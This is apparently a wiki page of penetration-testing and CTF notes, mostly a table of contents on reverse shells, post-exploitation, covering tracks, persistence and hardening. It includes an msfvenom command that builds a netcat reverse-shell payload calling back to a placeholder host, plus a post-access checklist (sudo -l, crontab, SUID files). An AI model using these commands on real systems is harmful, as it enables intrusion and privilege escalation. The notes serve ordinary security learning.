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David Van Mosselbeen edited this page Aug 25, 2021
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Some documentation / Sections which do not have found their place yet.
- Social Engineering
- Data Obfuscation
- Reverse Shell
- Web Reverse Shell
- Word Lists
- Bluetooth Hacking
- RFID (NFC)
- How many available shells are there on the system?
- Create a reverse shell payload
- First things to do when gaining unprivileged access
cat /etc/shells
msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 ncrevshell
Every time you have access to an account during a CTF scenario, you should use sudo -l to list what commands you're able to use as a super user on that account.
When gaining access to a computer, here's a TODO list:
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sudo -l- Check what user is allowed to do. -
cat /etc/crontab- Checking what cron jobs are scheduled. - Look for SUID and GUID bit files.
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- Information Gathering
- Exploiting
- Post Exploitation on Linux
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Post Exploitation on Windows
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Information Gathering
- System
- Network
- User Accounts
- Obtain user's information
- Credentials
- Configs
- Finding Important Files
- Other Utilities
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Covering Your Tracks
- Avoiding history filesmys
- Deleting and Destroying
- Escalating
- Delivery methods
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Maintaining Control
- Windows Startup folder
- With the registry
- Using BITS
- Reverse Shell
- Execute a Remote Script
- Powershell Cheat Sheet
- Resources
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Information Gathering
- Web Application Attacks
- Tools List
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Securing - Hardening
- Awareness
- Network
- Web Server
- SSH Server
- FTP Server
- Hardening Tools and Tips
- GPG Keys
- Not Sorted Yet
- About
- Resources